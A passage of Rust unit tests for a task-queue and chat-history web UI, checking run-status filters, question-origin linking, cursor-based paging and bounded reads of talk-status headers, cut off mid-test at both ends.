24511        let includes_at = APP_JS[done_rule_at..]
24512            .find(".includes(shape.status)")
24513            .expect("the done rule ends in .includes(shape.status)")
24514            + done_rule_at;
24515        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24516            .trim()
24517            .trim_start_matches('[')
24518            .trim_end_matches(']')
24519            .split(',')
24520            .map(|s| s.trim().trim_matches('"'))
24521            .filter(|s| !s.is_empty())
24522            .collect();
24523
24524        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24525            .into_iter()
24526            .map(|(waiting, status, dead, parked)| {
24527                let done = !not_done.contains(&status.as_str());
24528                (waiting, status, dead, parked, done)
24529            })
24530            .collect();
24531
24532        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24533        // outright, then merged/ready land, stalled/blocked/failed/
24534        // verified_noop end, and everything else is still in flight.
24535        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24536            if waiting {
24537                return "waiting";
24538            }
24539            if dead
24540                && !parked
24541                && !matches!(
24542                    status,
24543                    "merged"
24544                        | "ready"
24545                        | "stalled"
24546                        | "blocked"
24547                        | "failed"
24548                        | "verified_noop"
24549                        | "superseded"
24550                        | "already_in_base"
24551                )
24552            {
24553                return "stale";
24554            }
24555            match status {
24556                "merged" | "ready" => "landed",
24557                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24558                | "already_in_base" => "ended",
24559                _ => "flight",
24560            }
24561        }
24562
24563        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24564        // way.
24565        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24566            match filter_key {
24567                "active" => !done,
24568                "flight" => !done && !waiting && !dead,
24569                "stale" => !done && !waiting && dead,
24570                "waiting" => waiting,
24571                "done" => done,
24572                "all" => true,
24573                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24574            }
24575        }
24576
24577        let compatible = |section: &str, filter_key: &str| {
24578            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24579                run_section(*waiting, status, *dead, *parked) == section
24580                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24581            })
24582        };
24583
24584        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24585        // (active, flight, stale, waiting, done, all) - hand-derived from the
24586        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24587        // currently contains.
24588        let expected = [
24589            ("waiting", [true, false, false, true, true, true]),
24590            ("stale", [true, false, true, false, false, true]),
24591            ("flight", [true, true, false, false, false, true]),
24592            ("landed", [false, false, false, false, true, true]),
24593            ("ended", [false, false, false, false, true, true]),
24594        ];
24595        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24596
24597        for (section, wants) in expected {
24598            for (filter_key, want) in filter_keys.iter().zip(wants) {
24599                assert_eq!(
24600                    compatible(section, filter_key),
24601                    want,
24602                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24603                );
24604            }
24605        }
24606
24607        // The compatibility check exists only to be acted on: both pickers
24608        // must actually consult it rather than just render its answer.
24609        assert!(
24610            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24611        );
24612        assert!(APP_JS.contains(
24613            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24614        ));
24615        assert!(APP_JS.contains(
24616            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24617        ));
24618    }
24619
24620    #[tokio::test]
24621    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24622        // An operator-named directory - git checkout or not - is never
24623        // second-guessed, even when it does not exist at all: only the
24624        // flag's own unmodified `.` default is ever eligible for discovery.
24625        let dir = tempfile::tempdir().expect("tempdir");
24626        let explicit = dir.path().join("not-a-checkout");
24627        std::fs::create_dir_all(&explicit).expect("create dir");
24628        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24629
24630        let missing = dir.path().join("does-not-exist-at-all");
24631        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24632    }
24633
24634    #[test]
24635    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24636        assert!(APP_JS.contains("function statsDonutArcs"));
24637        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24638        // A bucket click filters by the statuses src/stats.rs counts in it.
24639        assert!(APP_JS.contains("function statusInBucket"));
24640        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24641        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24642        let buckets = [
24643            "merged",
24644            "ready",
24645            "in_progress",
24646            "blocked",
24647            "failed",
24648            "verified_noop",
24649            "superseded",
24650            "stalled",
24651        ];
24652        for key in buckets {
24653            let var = format!("--verdict-{key}:");
24654            // Light, OS-dark and pinned-dark blocks each define it.
24655            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24656            assert!(
24657                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24658                "{key}"
24659            );
24660        }
24661    }
24662
24663    #[tokio::test]
24664    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24665        let dir = tempfile::tempdir().expect("tempdir");
24666        let queue = Queue::at(dir.path().join("queue"));
24667        let talks = Talks::at(dir.path().join("talks"));
24668        std::fs::create_dir_all(queue.root()).unwrap();
24669        std::fs::create_dir_all(talks.root()).unwrap();
24670
24671        // Put a corrupt json file in both stores
24672        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24673        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24674
24675        // Valid task and talk
24676        let mut task = Task::new(
24677            "title".into(),
24678            "inst".into(),
24679            PathBuf::from("/repo"),
24680            Source::Human,
24681        );
24682        task.id = "20261019-123456-abcd".into();
24683        // Write manually so it's a valid file
24684        std::fs::write(
24685            queue.path_of(&task.id),
24686            serde_json::to_string(&task).unwrap(),
24687        )
24688        .unwrap();
24689
24690        let talk_id = "20261019-234567-cdef";
24691        seed_talk_at(&talks, talk_id, "open");
24692
24693        // Exact match should succeed without failing on the corrupt json file
24694        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24695        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24696
24697        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24698        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24699        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24700    }
24701
24702    #[tokio::test]
24703    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24704        let home = tempfile::tempdir().unwrap();
24705        let ui = delta_test_ui(home.path());
24706        // A full history traversal would fail even with no questions.
24707        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24708        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24709        assert!(
24710            questions_list(State(ui.clone()))
24711                .await
24712                .unwrap()
24713                .0
24714                .is_empty()
24715        );
24716        assert!(
24717            question_origins(State(ui.clone()))
24718                .await
24719                .unwrap()
24720                .0
24721                .is_empty()
24722        );
24723        let mut question = Question::new(
24724            "run-history".into(),
24725            "review".into(),
24726            "seat".into(),
24727            "Useful question".into(),
24728            "Useful detail".into(),
24729            vec![],
24730        );
24731        ui.questions.put(&mut question).unwrap();
24732        let core = questions_core(State(ui.clone())).await.unwrap().0;
24733        assert_eq!(core.len(), 1);
24734        assert_eq!(core[0].question.summary, "Useful question");
24735        assert!(!core[0].can_consult_chat);
24736        assert!(core[0].origin_chat.is_none());
24737        assert_eq!(core[0].record_revision, question_record_revision(&question));
24738        assert!(question_origins(State(ui.clone())).await.is_err());
24739        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24740    }
24741
24742    #[tokio::test]
24743    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24744        let home = tempfile::tempdir().unwrap();
24745        let ui = delta_test_ui(home.path());
24746        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24747        let mut parent = Task::new(
24748            "parent".into(),
24749            "body".into(),
24750            PathBuf::from("/repo"),
24751            Source::Agent {
24752                run: chat.clone(),
24753                node: crate::queue::CHAT_NODE.into(),
24754            },
24755        );
24756        parent.id = "parent-task".into();
24757        parent.runs = vec!["parent-run".into()];
24758        ui.queue.put(&mut parent).unwrap();
24759        let mut previous = parent;
24760        for generation in 1..=2 {
24761            let mut child = Task::new(
24762                "child".into(),
24763                "body".into(),
24764                PathBuf::from("/repo"),
24765                Source::Human,
24766            );
24767            child.id = format!("child-task-{generation}");
24768            child.runs = vec![format!("child-run-{generation}")];
24769            child.followup = Some(crate::queue::FollowUp {
24770                origin_task: Some(previous.id.clone()),
24771                run: previous.runs[0].clone(),
24772                pr: String::new(),
24773                findings: vec![],
24774                generation,
24775            });
24776            ui.queue.put(&mut child).unwrap();
24777            previous = child;
24778        }
24779        // A run may have the same spelling as another task's id; its owner
24780        // must not override a typed task reference.
24781        let mut collision = Task::new(
24782            "collision".into(),
24783            String::new(),
24784            PathBuf::from("/repo"),
24785            Source::Human,
24786        );
24787        collision.id = "collision-task".into();
24788        collision.runs = vec![previous.id.clone()];
24789        ui.queue.put(&mut collision).unwrap();
24790        let mut questions = Vec::new();
24791        for (node, reference, expected, eligible) in [
24792            (crate::triage::NODE, previous.id.as_str(), true, false),
24793            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24794            ("review", previous.runs[0].as_str(), true, true),
24795            (
24796                crate::bump::NOTICE_NODE,
24797                previous.runs[0].as_str(),
24798                true,
24799                false,
24800            ),
24801            // Identical text in the wrong reference namespace is not evidence.
24802            ("review", previous.id.as_str(), false, false),
24803            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24804            ("review", "unrelated", false, false),
24805        ] {
24806            let mut q = Question::new(
24807                reference.into(),
24808                node.into(),
24809                "seat".into(),
24810                "Question".into(),
24811                String::new(),
24812                vec![],
24813            );
24814            ui.questions.put(&mut q).unwrap();
24815            questions.push((q, expected, eligible));
24816        }
24817        for (node, reference, associated, eligible) in [
24818            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24819            (
24820                crate::reconcile::NODE,
24821                previous.runs[0].as_str(),
24822                false,
24823                true,
24824            ),
24825            ("implement", previous.id.as_str(), false, false),
24826        ] {
24827            let mut q = Question::new(
24828                reference.into(),
24829                node.into(),
24830                crate::reconcile::SEAT.into(),
24831                "Reconcile".into(),
24832                String::new(),
24833                vec![],
24834            );
24835            ui.questions.put(&mut q).unwrap();
24836            questions.push((q, associated, eligible));
24837        }
24838        let mut release = Question::new(
24839            "release-record".into(),
24840            crate::bump::NOTICE_NODE.into(),
24841            "release-watch".into(),
24842            "Release".into(),
24843            String::new(),
24844            vec![],
24845        );
24846        ui.questions.put(&mut release).unwrap();
24847        let watch = crate::release_watch::WatchState {
24848            question: Some(release.id.clone()),
24849            run: Some(previous.runs[0].clone()),
24850            held_task: Some(previous.id.clone()),
24851            ..Default::default()
24852        };
24853        let watch_dir = home.path().join("release-watch");
24854        std::fs::create_dir_all(&watch_dir).unwrap();
24855        let watch_path = watch_dir.join("watch.json");
24856        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24857        // Ordinary questions and bump notices do not need watch-store I/O.
24858        for batch in [
24859            Vec::new(),
24860            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24861        ] {
24862            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24863            assert!(watches.is_empty());
24864        }
24865        questions.push((release.clone(), true, false));
24866
24867        let views = questions_list(State(ui.clone())).await.unwrap().0;
24868        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24869        for (q, associated, eligible) in &questions {
24870            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24871            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24872            let expected = associated.then_some(chat.as_str());
24873            assert_eq!(
24874                view.origin_chat.as_deref(),
24875                expected,
24876                "{} {}",
24877                q.node,
24878                q.run
24879            );
24880            assert_eq!(origin.origin_chat.as_deref(), expected);
24881            assert_eq!(view.origin_chat_closed, *associated);
24882            assert_eq!(origin.origin_chat_closed, *associated);
24883            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24884            assert_eq!(origin.can_consult_chat, *eligible);
24885        }
24886        // Either saved link independently recovers a release question's owner.
24887        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24888            let link = crate::release_watch::WatchState {
24889                run,
24890                held_task,
24891                ..watch.clone()
24892            };
24893            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24894            let (tasks, talks, watches) =
24895                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24896            assert_eq!(
24897                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24898                    .unwrap()
24899                    .id,
24900                chat,
24901            );
24902            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24903        }
24904        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24905        // Even identical duplicate records are ambiguous: ignore their links.
24906        let duplicate_path = watch_dir.join("duplicate.json");
24907        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24908        let (tasks, talks, watches) =
24909            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24910        assert!(
24911            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24912                .is_none()
24913        );
24914        std::fs::remove_file(duplicate_path).unwrap();
24915        // Another explicit owner is a conflict even if it has no chat.
24916        let mut unrelated = Task::new(
24917            "other".into(),
24918            String::new(),
24919            PathBuf::from("/repo"),
24920            Source::Human,
24921        );
24922        unrelated.id = "unrelated-task".into();
24923        ui.queue.put(&mut unrelated).unwrap();
24924        let mut conflicting = watch.clone();
24925        conflicting.held_task = Some(unrelated.id);
24926        std::fs::write(
24927            watch_dir.join("conflict.json"),
24928            serde_json::to_vec(&conflicting).unwrap(),
24929        )
24930        .unwrap();
24931        let (tasks, talks, watches) =
24932            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24933        assert!(
24934            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24935                .is_none()
24936        );
24937        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24938        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24939        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24940            assert!(origin.origin_chat.is_none());
24941            assert!(!origin.origin_chat_closed);
24942        }
24943    }
24944
24945    #[test]
24946    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24947        let home = tempfile::tempdir().unwrap();
24948        let ui = delta_test_ui(home.path());
24949        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24950        for i in 0..1000 {
24951            let mut task = Task::new(
24952                "unrelated".into(),
24953                "instruction ".repeat(256),
24954                PathBuf::from("/repo"),
24955                Source::Human,
24956            );
24957            task.id = format!("history-{i:04}");
24958            ui.queue.put(&mut task).unwrap();
24959            let id = seed_talk_at(&ui.talks, &task.id, "open");
24960            let mut talk = ui.talks.get(&id).unwrap();
24961            talk.pending = "history ".repeat(256);
24962            ui.talks.put(&mut talk).unwrap();
24963        }
24964        let mut parent = Task::new(
24965            "parent".into(),
24966            "body".into(),
24967            PathBuf::from("/repo"),
24968            Source::Agent {
24969                run: chat_id.clone(),
24970                node: crate::queue::CHAT_NODE.into(),
24971            },
24972        );
24973        parent.id = "task-parent".into();
24974        parent.runs = vec!["run-parent".into()];
24975        ui.queue.put(&mut parent).unwrap();
24976        let mut child = Task::new(
24977            "child".into(),
24978            "body".into(),
24979            PathBuf::from("/repo"),
24980            Source::Human,
24981        );
24982        child.id = "task-child".into();
24983        child.runs = vec!["run-child".into()];
24984        child.followup = Some(crate::queue::FollowUp {
24985            run: "run-parent".into(),
24986            origin_task: Some(parent.id.clone()),
24987            pr: "https://example.invalid/pr/1".into(),
24988            findings: vec![],
24989            generation: 1,
24990        });
24991        ui.queue.put(&mut child).unwrap();
24992        let mut question = Question::new(
24993            child.id.clone(),
24994            crate::conduct::NODE.into(),
24995            "seat".into(),
24996            "Continue?".into(),
24997            String::new(),
24998            vec![],
24999        );
25000        let (tasks, talks, _watches) =
25001            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25002        assert_eq!(tasks.len(), 2);
25003        assert_eq!(talks.len(), 1);
25004        assert_eq!(
25005            ui.monitor.queue_index.lock().unwrap().reparsed,
25006            0,
25007            "exact ancestry bypasses the index"
25008        );
25009        assert_eq!(
25010            crate::consult::origin_talk(&tasks, &talks, &question)
25011                .unwrap()
25012                .id,
25013            chat_id
25014        );
25015        question.run = "run-child".into();
25016        question.node = "review".into();
25017        for origin_task in [Some(parent.id.clone()), None] {
25018            child.followup.as_mut().unwrap().origin_task = origin_task;
25019            ui.queue.put(&mut child).unwrap();
25020            let (tasks, talks, _watches) =
25021                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25022            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25023            let expected =
25024                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25025                    .unwrap();
25026            assert_eq!(actual.id, expected.id);
25027            assert!(!actual.status.open());
25028            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25029            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25030            // Without Unix file identity, every readable record must be
25031            // reparsed to detect same-size, same-mtime replacements safely.
25032            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25033            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25034        }
25035        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25036        ui.queue.put(&mut child).unwrap();
25037        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25038        let (tasks, talks, _watches) =
25039            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25040        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25041        child.origin_chat = Some(chat_id.clone());
25042        ui.queue.put(&mut child).unwrap();
25043        let (tasks, talks, _watches) =
25044            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25045        assert_eq!(
25046            crate::consult::origin_talk(&tasks, &talks, &question)
25047                .unwrap()
25048                .id,
25049            chat_id
25050        );
25051        let revision = question_record_revision(&question);
25052        question.abandon("settled elsewhere");
25053        assert_ne!(revision, question_record_revision(&question));
25054        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25055        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25056        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25057        let (tasks, talks, _watches) =
25058            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25059        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25060    }
25061
25062    #[test]
25063    fn list_cursors_freeze_membership_and_expire_explicitly() {
25064        let home = tempfile::tempdir().unwrap();
25065        let ui = delta_test_ui(home.path());
25066        std::fs::create_dir_all(ui.queue.root()).unwrap();
25067        for i in 0..40 {
25068            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25069        }
25070        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25071        assert_eq!(first.len(), STORE_PAGE_SIZE);
25072        let cursor = cursor.unwrap();
25073        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25074        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25075        let (second, _) = page_ids(
25076            &ui,
25077            false,
25078            PageQuery {
25079                before: Some(cursor.clone()),
25080            },
25081        )
25082        .unwrap();
25083        assert_eq!(second[0], "record-0023");
25084        assert!(second.iter().all(|id| !first.contains(id)));
25085        assert!(
25086            page_ids(
25087                &ui,
25088                true,
25089                PageQuery {
25090                    before: Some(cursor.clone())
25091                }
25092            )
25093            .is_err()
25094        );
25095        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25096        assert_eq!(fresh[0], "record-9999");
25097        ui.monitor.list_walks.lock().unwrap().clear();
25098        assert!(
25099            page_ids(
25100                &ui,
25101                false,
25102                PageQuery {
25103                    before: Some(cursor)
25104                }
25105            )
25106            .is_err()
25107        );
25108    }
25109
25110    #[tokio::test]
25111    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25112        let home = tempfile::tempdir().unwrap();
25113        let ui = delta_test_ui(home.path());
25114        // Every closed conversation is newer by ID than every open conversation.
25115        for i in 0..23 {
25116            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25117        }
25118        for i in 0..45 {
25119            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25120        }
25121        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25122        let first = talks_page(
25123            State(ui.clone()),
25124            Query(PageQuery::default()),
25125            header::HeaderMap::new(),
25126        )
25127        .await
25128        .unwrap()
25129        .0;
25130        assert_eq!(
25131            first.rows.iter().filter(|row| row.status.open()).count(),
25132            23
25133        );
25134        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25135        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25136        let parsed = ui
25137            .monitor
25138            .talk_parses
25139            .load(std::sync::atomic::Ordering::Relaxed);
25140        assert_eq!(
25141            parsed,
25142            first.rows.len(),
25143            "closed bodies outside this page are not restored"
25144        );
25145        let fresh = talks_page(
25146            State(ui.clone()),
25147            Query(PageQuery::default()),
25148            header::HeaderMap::new(),
25149        )
25150        .await
25151        .unwrap()
25152        .0;
25153        assert_eq!(fresh.rows.len(), first.rows.len());
25154        assert_eq!(
25155            ui.monitor
25156                .talk_parses
25157                .load(std::sync::atomic::Ordering::Relaxed),
25158            parsed
25159        );
25160        let mut seen: std::collections::HashSet<_> =
25161            first.rows.iter().map(|row| row.id.clone()).collect();
25162        // Status changes keep their original membership position until refresh.
25163        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25164        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25165        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25166        let mut next = first.next;
25167        while let Some(cursor) = next {
25168            let page = talks_page(
25169                State(ui.clone()),
25170                Query(PageQuery {
25171                    before: Some(cursor),
25172                }),
25173                header::HeaderMap::new(),
25174            )
25175            .await
25176            .unwrap()
25177            .0;
25178            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25179            for row in page.rows {
25180                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25181            }
25182            next = page.next;
25183        }
25184        let expected: HashSet<_> = (0..23)
25185            .map(|i| format!("20260101-000000-{i:03}"))
25186            .chain(
25187                (0..45)
25188                    .filter(|i| *i != 1)
25189                    .map(|i| format!("20261019-000000-{i:03}")),
25190            )
25191            .collect();
25192        assert_eq!(
25193            seen, expected,
25194            "the cursor walk must return every surviving ID"
25195        );
25196        let refreshed = talks_page(
25197            State(ui.clone()),
25198            Query(PageQuery::default()),
25199            header::HeaderMap::new(),
25200        )
25201        .await
25202        .unwrap()
25203        .0;
25204        assert_eq!(
25205            refreshed
25206                .rows
25207                .iter()
25208                .filter(|row| row.status.open())
25209                .count(),
25210            23
25211        );
25212        assert!(
25213            refreshed
25214                .rows
25215                .iter()
25216                .any(|row| row.id == "20261019-000000-000")
25217        );
25218        assert!(
25219            !refreshed
25220                .rows
25221                .iter()
25222                .any(|row| row.id == "20260101-000000-000")
25223        );
25224    }
25225
25226    #[test]
25227    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25228        let home = tempfile::tempdir().unwrap();
25229        let ui = delta_test_ui(home.path());
25230        for i in 0..STORE_PAGE_SIZE + 5 {
25231            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25232        }
25233        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25234        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25235        assert!(next.is_none());
25236    }
25237
25238    #[test]
25239    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25240        struct Counted<R> {
25241            inner: R,
25242            bytes: usize,
25243        }
25244        impl<R: std::io::Read> std::io::Read for Counted<R> {
25245            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25246                let n = self.inner.read(buf)?;
25247                self.bytes += n;
25248                Ok(n)
25249            }
25250        }
25251        let home = tempfile::tempdir().unwrap();
25252        let ui = delta_test_ui(home.path());
25253        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25254        let mut chat = ui.talks.get(&id).unwrap();
25255        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25256            chat.turns = vec![
25257                serde_json::from_value(serde_json::json!({
25258                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25259                }))
25260                .unwrap(),
25261            ];
25262            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25263                chat.status = status;
25264                // Exercise the actual on-disk serializer, including its field order.
25265                let body = serde_json::to_vec_pretty(&chat).unwrap();
25266                let mut reader = Counted {
25267                    inner: body.as_slice(),
25268                    bytes: 0,
25269                };
25270                assert_eq!(read_talk_status(&mut reader), Some(status));
25271                assert!(
25272                    reader.bytes <= 1024,
25273                    "header classification read {} bytes",
25274                    reader.bytes
25275                );
25276            }
25277        }
25278        // Noncanonical field order must neither traverse a transcript nor hide
25279        // an open row. Its real status is validated by the ordinary row reader.
25280        let noncanonical = format!(
25281            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25282            "x".repeat(1024 * 1024)
25283        );
25284        let mut reader = Counted {
25285            inner: noncanonical.as_bytes(),
25286            bytes: 0,
25287        };
25288        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25289        assert!(reader.bytes <= 1024);
25290        let oversized = format!(
25291            r#"{{"agent":"{}","status":"open"}}"#,
25292            "x".repeat(128 * 1024)
25293        );
25294        let mut reader = Counted {
25295            inner: oversized.as_bytes(),
25296            bytes: 0,
25297        };
25298        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25299        assert!(reader.bytes <= 64 * 1024);
25300    }
25301
25302    #[test]
25303    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25304        let home = tempfile::tempdir().unwrap();
25305        let ui = delta_test_ui(home.path());
25306        seed_talk_at(&ui.talks, "header-chat", "open");
25307        std::fs::create_dir_all(ui.queue.root()).unwrap();
25308        let (started, ready) = std::sync::mpsc::channel();
25309        let (release, wait) = std::sync::mpsc::channel();
25310        let chat_ui = ui.clone();
25311        let scan = std::thread::spawn(move || {
25312            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25313                started.send(()).unwrap();
25314                wait.recv().unwrap();
25315                open_talk_ids(ui, ids)
25316            })
25317            .unwrap()
25318        });
25319        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25320        let (finished, result) = std::sync::mpsc::channel();
25321        let queue = std::thread::spawn(move || {
25322            finished
25323                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25324                .unwrap();
25325        });
25326        let completed = result.recv_timeout(Duration::from_secs(2));
25327        // Release and join both workers even if the regression returns.
25328        release.send(()).unwrap();
25329        scan.join().unwrap();
25330        queue.join().unwrap();
25331        assert!(
25332            completed.unwrap(),
25333            "queue paging must not wait for chat header I/O"
25334        );
25335    }
25336
25337    #[test]
25338    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25339        let home = tempfile::tempdir().unwrap();
25340        let ui = delta_test_ui(home.path());
25341        let ids = vec!["changing-chat".to_owned()];
25342        seed_talk_at(&ui.talks, &ids[0], "closed");
25343        assert!(open_talk_ids(&ui, &ids).is_empty());
25344        seed_talk_at(&ui.talks, &ids[0], "open");
25345        let open = open_talk_ids_with(&ui, &ids, |path| {
25346            let value: serde_json::Value =
25347                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25348            // Replace the file after parsing, before its identity is checked again.
25349            seed_talk_at(&ui.talks, &ids[0], "closed");
25350            serde_json::from_value(value["status"].clone()).ok()
25351        });
25352        assert!(open.contains(&ids[0]));
25353        assert!(
25354            ui.monitor
25355                .talk_status_index
25356                .lock()
25357                .unwrap()
25358                .records
25359                .is_empty()
25360        );
25361        assert!(open_talk_ids(&ui, &ids).is_empty());
25362        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25363    }
25364
25365    #[test]
25366    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25367        let home = tempfile::tempdir().unwrap();
25368        let ui = delta_test_ui(home.path());
25369        let headers = header::HeaderMap::new();
25370        seed_talk_at(&ui.talks, "open-chat", "open");
25371        seed_talk_at(&ui.talks, "closed-chat", "closed");
25372        talk_rows(
25373            &ui,
25374            vec!["open-chat".into(), "closed-chat".into()],
25375            &headers,
25376        );
25377        {
25378            let mut index = ui.monitor.talk_index.lock().unwrap();
25379            let closed = index["closed-chat"].1.clone();
25380            for i in 0..1000 {
25381                index.insert(
25382                    format!("cached-closed-{i}"),
25383                    (
25384                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25385                        closed.clone(),
25386                    ),
25387                );
25388            }
25389        }
25390        assert_eq!(
25391            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25392            1
25393        );
25394        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25395        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25396        assert_eq!(
25397            ui.monitor
25398                .talk_parses
25399                .load(std::sync::atomic::Ordering::Relaxed),
25400            2
25401        );
25402        {
25403            let mut index = ui.monitor.talk_index.lock().unwrap();
25404            let open = index["open-chat"].1.clone();
25405            for i in 0..1000 {
25406                index.insert(
25407                    format!("cached-open-{i}"),
25408                    (
